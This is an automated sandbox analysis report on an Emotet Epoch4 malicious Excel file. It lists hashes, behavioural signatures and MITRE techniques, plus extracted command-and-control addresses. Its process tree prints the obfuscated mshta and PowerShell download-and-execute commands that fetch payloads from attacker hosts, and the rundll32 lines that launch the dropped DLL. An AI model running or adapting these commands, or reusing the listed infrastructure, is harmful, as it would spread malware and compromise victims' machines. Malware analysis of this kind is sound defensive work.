emotet | 6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5

General

Target

6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls
Size

71KB
MD5

21fc12ef8a4a4ba5b38a303fa7e70c08
SHA1

5700a2231371b289eae19ce62e1a73457ee582c4
SHA256

6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5
SHA512

8200f14c0a8023bb74b39796f7859258ef67a21a5f81704f82315695409795fe724ac8ca81513a95d50d169c824532e43865846ce42b0e541366309ace849654

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fe2.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fe2.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4068	1984	cmd.exe	68

Blocklisted process makes network request 4 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow	pid	Process
25	2464	mshta.exe
32	880	powershell.exe
36	880	powershell.exe
47	4036	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid	Process
3908	rundll32.exe
1800	rundll32.exe

Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Dcxrn\nfrbqlvoogv.pbx	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

Processes:

WerFault.exe

pid	pid_target	Process	procid_target
2724	2464	WerFault.exe	72

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid	Process
1984	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	Process
880	powershell.exe
880	powershell.exe
2724	WerFault.exe
2724	WerFault.exe
2724	WerFault.exe
2724	WerFault.exe
2724	WerFault.exe
2724	WerFault.exe
2724	WerFault.exe
2724	WerFault.exe
2724	WerFault.exe
2724	WerFault.exe
2724	WerFault.exe
2724	WerFault.exe
2724	WerFault.exe
2724	WerFault.exe
880	powershell.exe
4036	rundll32.exe
4036	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description	pid	Process
Token: SeDebugPrivilege	880	powershell.exe
Token: SeDebugPrivilege	2724	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	Process
1984	EXCEL.EXE
1984	EXCEL.EXE
1984	EXCEL.EXE
1984	EXCEL.EXE
1984	EXCEL.EXE
1984	EXCEL.EXE
1984	EXCEL.EXE
1984	EXCEL.EXE
1984	EXCEL.EXE
1984	EXCEL.EXE
1984	EXCEL.EXE
1984	EXCEL.EXE
1984	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	Process	procid_target
PID 1984 wrote to memory of 4068	1984	EXCEL.EXE	70
PID 1984 wrote to memory of 4068	1984	EXCEL.EXE	70
PID 4068 wrote to memory of 2464	4068	cmd.exe	72
PID 4068 wrote to memory of 2464	4068	cmd.exe	72
PID 2464 wrote to memory of 880	2464	mshta.exe	74
PID 2464 wrote to memory of 880	2464	mshta.exe	74
PID 880 wrote to memory of 2168	880	powershell.exe	78
PID 880 wrote to memory of 2168	880	powershell.exe	78
PID 2168 wrote to memory of 3908	2168	cmd.exe	79
PID 2168 wrote to memory of 3908	2168	cmd.exe	79
PID 2168 wrote to memory of 3908	2168	cmd.exe	79
PID 3908 wrote to memory of 1800	3908	rundll32.exe	80
PID 3908 wrote to memory of 1800	3908	rundll32.exe	80
PID 3908 wrote to memory of 1800	3908	rundll32.exe	80
PID 1800 wrote to memory of 2124	1800	rundll32.exe	81
PID 1800 wrote to memory of 2124	1800	rundll32.exe	81
PID 1800 wrote to memory of 2124	1800	rundll32.exe	81
PID 2124 wrote to memory of 4036	2124	rundll32.exe	82
PID 2124 wrote to memory of 4036	2124	rundll32.exe	82
PID 2124 wrote to memory of 4036	2124	rundll32.exe	82

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1984
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4068
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe2.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:2464
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:880
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2168
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:3908
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1800
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Dcxrn\nfrbqlvoogv.pbx",HBOuqAUQlUDqDgF
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2124
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Dcxrn\nfrbqlvoogv.pbx",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:4036
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2464 -s 1656
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2724

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Public\Documents\ssd.dll

MD5
d3055836fc3f7090449357b647cd2733

SHA1
08113e86a75fac393c9e7961d4d520c1c08e4e67

SHA256
e9c764ff6a562b370dde9ac909a0be5b4f46ca51428bae0a8df09f157fef49f2

SHA512
d10fc4a52b62d45584179d076d83c8280716dc9338957eef88a916c5f8fb4efa990fe83a399312f6f96b9a4a186df0f7d957c1c8294bc41846348a94208f1714

Download Submit
\Users\Public\Documents\ssd.dll

MD5
d3055836fc3f7090449357b647cd2733

SHA1
08113e86a75fac393c9e7961d4d520c1c08e4e67

SHA256
e9c764ff6a562b370dde9ac909a0be5b4f46ca51428bae0a8df09f157fef49f2

SHA512
d10fc4a52b62d45584179d076d83c8280716dc9338957eef88a916c5f8fb4efa990fe83a399312f6f96b9a4a186df0f7d957c1c8294bc41846348a94208f1714

Download Submit
\Users\Public\Documents\ssd.dll

MD5
d3055836fc3f7090449357b647cd2733

SHA1
08113e86a75fac393c9e7961d4d520c1c08e4e67

SHA256
e9c764ff6a562b370dde9ac909a0be5b4f46ca51428bae0a8df09f157fef49f2

SHA512
d10fc4a52b62d45584179d076d83c8280716dc9338957eef88a916c5f8fb4efa990fe83a399312f6f96b9a4a186df0f7d957c1c8294bc41846348a94208f1714

Download Submit
memory/880-293-0x000002221F010000-0x000002221F04C000-memory.dmp

Filesize
240KB

Download
memory/880-314-0x0000022204A40000-0x0000022204A50000-memory.dmp

Filesize
64KB

Download
memory/880-305-0x000002221F0D0000-0x000002221F146000-memory.dmp

Filesize
472KB

Download
memory/880-292-0x0000022204A40000-0x0000022204A50000-memory.dmp

Filesize
64KB

Download
memory/880-271-0x0000022206920000-0x0000022206942000-memory.dmp

Filesize
136KB

Download
memory/880-291-0x0000022204A40000-0x0000022204A50000-memory.dmp

Filesize
64KB

Download
memory/1800-337-0x00000000045F0000-0x0000000004616000-memory.dmp

Filesize
152KB

Download
memory/1800-332-0x00000000023D0000-0x00000000023F6000-memory.dmp

Filesize
152KB

Download
memory/1800-343-0x0000000004940000-0x0000000004966000-memory.dmp

Filesize
152KB

Download
memory/1800-341-0x00000000047E0000-0x0000000004806000-memory.dmp

Filesize
152KB

Download
memory/1800-339-0x0000000004780000-0x00000000047A6000-memory.dmp

Filesize
152KB

Download
memory/1800-335-0x0000000004510000-0x0000000004536000-memory.dmp

Filesize
152KB

Download
memory/1984-115-0x00007FF969B20000-0x00007FF969B30000-memory.dmp

Filesize
64KB

Download
memory/1984-116-0x00007FF969B20000-0x00007FF969B30000-memory.dmp

Filesize
64KB

Download
memory/1984-117-0x00007FF969B20000-0x00007FF969B30000-memory.dmp

Filesize
64KB

Download
memory/1984-129-0x00007FF966FD0000-0x00007FF966FE0000-memory.dmp

Filesize
64KB

Download
memory/1984-118-0x00007FF969B20000-0x00007FF969B30000-memory.dmp

Filesize
64KB

Download
memory/1984-127-0x00007FF966FD0000-0x00007FF966FE0000-memory.dmp

Filesize
64KB

Download
memory/1984-128-0x00007FF969B20000-0x00007FF969B30000-memory.dmp

Filesize
64KB

Download
memory/1984-391-0x00007FF969B20000-0x00007FF969B30000-memory.dmp

Filesize
64KB

Download
memory/1984-392-0x00007FF969B20000-0x00007FF969B30000-memory.dmp

Filesize
64KB

Download
memory/1984-393-0x00007FF969B20000-0x00007FF969B30000-memory.dmp

Filesize
64KB

Download
memory/1984-394-0x00007FF969B20000-0x00007FF969B30000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads